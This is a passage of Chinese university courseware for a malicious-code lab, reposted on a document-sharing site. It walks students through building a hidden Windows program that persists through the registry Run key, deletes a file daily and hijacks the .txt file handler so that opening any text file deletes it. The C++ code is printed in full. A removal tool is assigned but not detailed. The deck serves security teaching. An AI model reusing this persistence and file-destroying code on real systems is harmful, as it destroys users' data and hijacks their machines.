《网络空间安全技术实践教程》课件10.3课件_第1页
《网络空间安全技术实践教程》课件10.3课件_第2页
《网络空间安全技术实践教程》课件10.3课件_第3页
《网络空间安全技术实践教程》课件10.3课件_第4页
《网络空间安全技术实践教程》课件10.3课件_第5页
已阅读5页,还剩24页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

第三篇网络安全理论与技术实验篇第十章网络安全编程实验10.3恶意代码及防护编程实验网络空间安全技术实践教程110.3恶意代码及防护编程实验实验目的:

恶意代码是网络安全威胁的重要组成部分,其由于编写语言,实现机制等等的多样性和复杂性,以及强大的破坏性和隐蔽性,将对网络安全构成重要的长期的威胁。本实验通过设计实现一款简单的恶意代码程序,深刻理解恶意代码编写的原理,设计思路;同时设计查杀程序进而理解杀毒软件的工作机理。网络空间安全技术实践教程210.3

恶意代码及防护编程实验实验内容:

恶意代码设计与实现涉及了文件系统编程、网络通信编程、注册表编程、定时编程、多线程编程、驻留程序编程,本实验要求编写一个利用各项编程技术实现简单的独立恶意代码程序,并且根据破坏特征设计查杀程序。网络空间安全技术实践教程310.3恶意代码及防护编程实验实验内容:

本实验中恶意代码程序主要实现:

(1)自启动功能;

(2)自动驻留功能;

(3)实现每天固定一个时间,自动删除D:\file4.txt文件;

(4)当用户双击一个文本文件时,自动删除该文件;

(5)其他自己设计的恶意破坏功能或远程控制功能。网络空间安全技术实践教程410.3

恶意代码及防护编程实验实验要点说明:(实验难点说明)编写简单恶意代码程序实现查杀程序网络空间安全技术实践教程510.3

恶意代码及防护编程实验实验准备:(实验环境,实验先有知识技术说明)操作系统windowsXP及以上VS2010以上开发环境网络空间安全技术实践教程6实验步骤:1)恶意代码程序编写(1)新建工程打开一个VS2010,建立一个新的MFC工程。需要注意的有两点:首先,在应用类型界面需要选择基于对话框的应用,如图10-3-1所示;其次,在高级选项界面要勾选“WindowsSocket”,如图10-3-2所示,这样在之后的Socket编程工作中,用到相关头文件以及链接库等开发环境时就不再需要手工添加了。建立成功后,进入ClassView,如图10-3-3所示,可在主界面中根据功能设计好主对话框,如图10-3-4所示。需要说明的是,该程序运行后,用户就会看到界面显示的主对话框,如果关闭该对话框,程序运行进程就终止了。10.3

恶意代码及防护编程实验网络空间安全技术实践教程7实验步骤:1)恶意代码程序编写(2)自启动功能自启动功能是通过注册表编程来实现,注册表在计算机中由键名和键值组成,注册表中存储了Windows操作系统的设置。注册表的根键共有6个,其中HKEY_CURRENT_USER管理系统当前的用户信息,自启动项就属于该根键。本实验中要在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run处(如图10-3-5所示)添加新键值,键名为恶意代码程序名,键值为恶意代码程序的路径。添加成功后,只要操作系统启动,该指定程序将自动启动。10.3恶意代码及防护编程实验网络空间安全技术实践教程8实验步骤:1)恶意代码程序编写(2)自启动功能为了实现该功能,需要在ClassView中CCChenSiMCDlg下双击OnInitDialog(),进入相应编辑页,找到“//TODO:Addextrainitializationhere”,在后面加入如下代码:

HKEYhKey1;

DWORDdwDisposition;

LONGlRetCode; LPCTSTRaddr="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; LPCTSTRname="MCgame";//恶意代码程序名 LPCTSTRvalue="\"D:\\CChenSiMC.exe\"\\noshow";//恶意代码程序路径10.3恶意代码及防护编程实验网络空间安全技术实践教程9实验步骤:1)恶意代码程序编写(2)自启动功能

//创建 lRetCode=RegCreateKeyEx(HKEY_CURRENT_USER,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)

{//如果创建失败则退出

return0;

}

//设置键值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)

{//如果设置失败则退出

return0;

}10.3恶意代码及防护编程实验网络空间安全技术实践教程10实验步骤:1)恶意代码程序编写(3)自动驻留功能驻留又称为进程隐藏,最简单的办法就是将窗口的显示模式改为隐藏显示,这样就达到驻留的效果。然而,在MFC中驻留并没有这么简单,而是分为两个步骤进行。首先,在MFC的主界面属性中将Visible的值由“True”改为“False”,如图10-3-6所示。10.3恶意代码及防护编程实验网络空间安全技术实践教程11实验步骤:1)恶意代码程序编写(3)自动驻留功能其次,要在窗口第一次自绘时隐藏窗口,可以收到比较好的效果。当对话框显示时,将要响应消息WM_PAINT绘制客户区,响应消息WM_NCPAINT绘制窗口边框。由于窗口是先画窗口边框,所以仅需处理WM_NCPAINT即可。在处理时,在ClassView中右键单击CCChenSiMCDlg,调出菜单点击ClassWizard...,进入向导后找到Messages添加OnNcPaint()函数,如图10-3-7所示。10.3恶意代码及防护编程实验网络空间安全技术实践教程12实验步骤:1)恶意代码程序编写(3)自动驻留功能双击ClassView界面中的OnNcPaint()进入代码编辑页面,找到“//TODO:Addyourmessagehandlercodehere”后添加如下代码:voidCCChenSiMCDlg::OnNcPaint(){ //隐藏程序界面 //TODO:Addyourmessagehandlercodehere staticinti=2; if(i>0) { i--; ShowWindow(SW_HIDE); } else CDialog::OnNcPaint();}10.3恶意代码及防护编程实验网络空间安全技术实践教程13实验步骤:1)恶意代码程序编写(3)自动驻留功能程序中静态变量的值定义为2,这是因为只要窗口隐藏第一次,所以定义这个变量可以判断是否是首次显示窗口。当程序开始运行时,系统发送WM_NCPAINT消息,此时程序的窗口边框应该被显示,但是实际上是将窗口隐藏,ShowWindow(SW_HIDE)将把窗口的WS_VISIBLE属性去掉,继续执行。之后程序会检查WS_VISIBLE属性,如果没有则显示窗口,这个过程中又发送了一个WM_NCPAINT消息,所以我们要处理两次WM_NCPAINT消息。10.3恶意代码及防护编程实验网络空间安全技术实践教程14实验步骤:1)恶意代码程序编写(4)定时自动删除文件定时自动删除文件需要设置一个定时器,在MFC中定时器的使用同样分为两步。首先,需要在ClassView中CCChenSiMCDlg下双击OnInitDialog(),进入相应编辑页,找到“//TODO:Addextrainitializationhere”,在后面加入如下代码:SetTimer(1,1000,NULL);//定时器此程序用来开启定时器,并且每1秒调用一次处理函数。在MFC中,处理函数需要手动添加,在ClassView中右键单击CCChenSiMCDlg,调出菜单点击ClassWizard...,进入向导后找到Messages添加OnTimer(UINT_PTRnIDEvent)函数,如图10-3-8所示。10.3恶意代码及防护编程实验网络空间安全技术实践教程15实验步骤:1)恶意代码程序编写(4)定时自动删除文件双击ClassView界面中的OnTimer(UINT_PTRnIDEvent)进入代码编辑页面,找到“//TODO:Addyourmessagehandlercodehereand/orcalldefault”后添加如下代码:voidCCChenSiMCDlg::OnTimer(UINT_PTRnIDEvent){ //TODO:Addyourmessagehandlercodehereand/orcalldefault SYSTEMTIMEsysTime;

GetLocalTime(&sysTime);//获取本地时间 if(sysTime.wHour==12&&sysTime.wMinute==39&&sysTime.wSecond==00) remove("D:\\file4.txt");//在每天的12:39:00删除文件 CDialogEx::OnTimer(nIDEvent);}10.3恶意代码及防护编程实验网络空间安全技术实践教程16实验步骤:1)恶意代码程序编写(5)双击删除文本文件功能双击删除文本文件功能需要获取双击文本文件的路径,然后对其进行删除,除此之外,为了保证双击文本文件时恶意程序自动运行,还需要对文本文件的注册表进行修改。首先,要将打开文本文件的动作与恶意程序关联起来,相关注册表的根键为HKEY_CLASS_ROOT,该根键管理文件系统,根据在Windows中安装的应用程序的扩展名,指明其文件类型的名称,以及相应打开该文件所要调用的程序等信息。该功能也是通过注册表编程实现,所修改的键值位于HKEY_CLASS_ROOT\txtfile\shell\open\command处,如图10-3-9所示,要将该键值修改为恶意程序本身路径。10.3恶意代码及防护编程实验网络空间安全技术实践教程17实验步骤:1)恶意代码程序编写(5)双击删除文本文件功能为了实现该功能,需要在ClassView中CCChenSiMCDlg下双击OnInitDialog(),进入相应编辑页,找到“//TODO:Addextrainitializationhere”,在后面加入如下代码:

addr="txtfile\\shell\\open\\command"; name=""; value="D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe%1";

//创建 lRetCode=RegCreateKeyEx(HKEY_CLASSES_ROOT,addr,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey1,&dwDisposition); if(lRetCode!=ERROR_SUCCESS)

{//如果创建失败则退出

return0;

}10.3恶意代码及防护编程实验网络空间安全技术实践教程18实验步骤:1)恶意代码程序编写(5)双击删除文本文件功能

//设置键值 lRetCode=RegSetValueEx(hKey1,name,0,REG_SZ,(byte*)value,100); if(lRetCode!=ERROR_SUCCESS)

{//如果设置失败则退出

return0;

}上述程序运行后可以在双击文本文件时不用记事本打开,而是自动运行恶意程序,需要注意的是,当用户多次执行打开文本文件的操作时,就会在任务管理器中加载许多相同的进程,解决方法是先判断是否存在该进程,如果存在就不加载,具体程序不详细给出。10.3恶意代码及防护编程实验网络空间安全技术实践教程19实验步骤:1)恶意代码程序编写(5)双击删除文本文件功能为了删除双击的文本文件,还需要获得文本文件的路径。为了实现该功能,需要在ClassView中CCChenSiMCDlg下双击OnInitDialog(),进入相应编辑页,找到“//TODO:Addextrainitializationhere”,在后面加入如下代码:

CStringp_CmdLine; CStringdel="\"D:\\Documents\\VisualStudio2010\\Projects\\Experiment5\\CChenSiMC\\Debug\\CChenSiMC.exe\""; GetCommandLine(); p_CmdLine=GetCommandLine();//获取文本文件的路径 p_CmdLine.Replace(del,""); if(p_CmdLine!="") remove(p_CmdLine);//删除双击的文本文件10.3恶意代码及防护编程实验网络空间安全技术实践教程20实验步骤:1)恶意代码程序编写(6)编译恶意代码程序编写完成后,需要对代码进行编译,可以通过菜单或者工具栏按钮完成操作。如果使用菜单,可以选择Build-BuildCChenSiMC或者Build-BuildSolution,如图10-3-10所示。如果使用工具栏,可以选择如图10-3-11所示的按钮。10.3

恶意代码及防护编程实验网络空间安全技术实践教程21实验步骤:1)恶意代码程序编写(6)编译恶意代码程序如果编译完全成功,确保无语法错误时,会在Output中显示“Build:1succeed,0failed...”,如图10-3-12所示;如果编译存在错误,会显示在ErrorList中,如图10-3-13所示,编译器提示,在CChenSiMC文件的第142行,发生了C2065错误,变量_CmdLine从没有被声明就使用了。经查证,是因为把p_CmdLine错写为_CmdLine,改正后即可编译成功。10.3

恶意代码及防护编程实验网络空间安全技术实践教程22实验步骤:2)运行恶意程序

编译成功后,可以通过菜单或者工具栏按钮来运行完成的程序。在编译成功的前提下,如果使用菜单,其中一种方法是选择Debug-StartDebugging,如图10-3-14所示;如果使用工具栏,可以选择如图10-3-15所示的按钮。正常运行时,由于本实验中程序被驻留,所以并不会显示出主界面的窗口。运行后可以依次验证功能,每天可以在固定时间删除一个指定文本文件,以及双击文本文件时不会打开记事本,而是删除文本文件。10.3

恶意代码及防护编程实验网络空间安全技术实践教程23实验步骤:3)设计恶意程序查杀程序

根据上述恶意代码编写机制,设计实现该恶意代码的查杀程序。恶意代码查杀程序主要完成恢复注册表项,结束运行的恶意程序2项功能,限于篇幅,此处不再详述。10.3

恶意代码及防护编程实验网络空间安全技术实践教程2410.3

恶意代码及防护编程实验实验结果要求

(1)建立的工程名应该是含有个人信息,如可加入姓名全拼构成唯一的工程名字:CChenSiMC和CChenSiKiller。(2)在完全掌握各项恶意代码编程技术的基础上,根据实验内容要求,综合利用各功能设计实现自己的恶意代码。(3)设计实现相应的查杀程序,需要有友好的人机交互界面。网络空间安全技术实践教程2510.3

恶意代码及防护编程实验实验报告要求

实验报告要求有封面,实验目的,实验环境,实验结果与分析,其中结果与分析主要描述编程步骤,关键功能及代码,编程过程中遇到的问题和经验等。网络空间安全技术实践教程2610.3

恶意代码及防护编程实验实验扩展要求

(1)由于本程序特性,

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论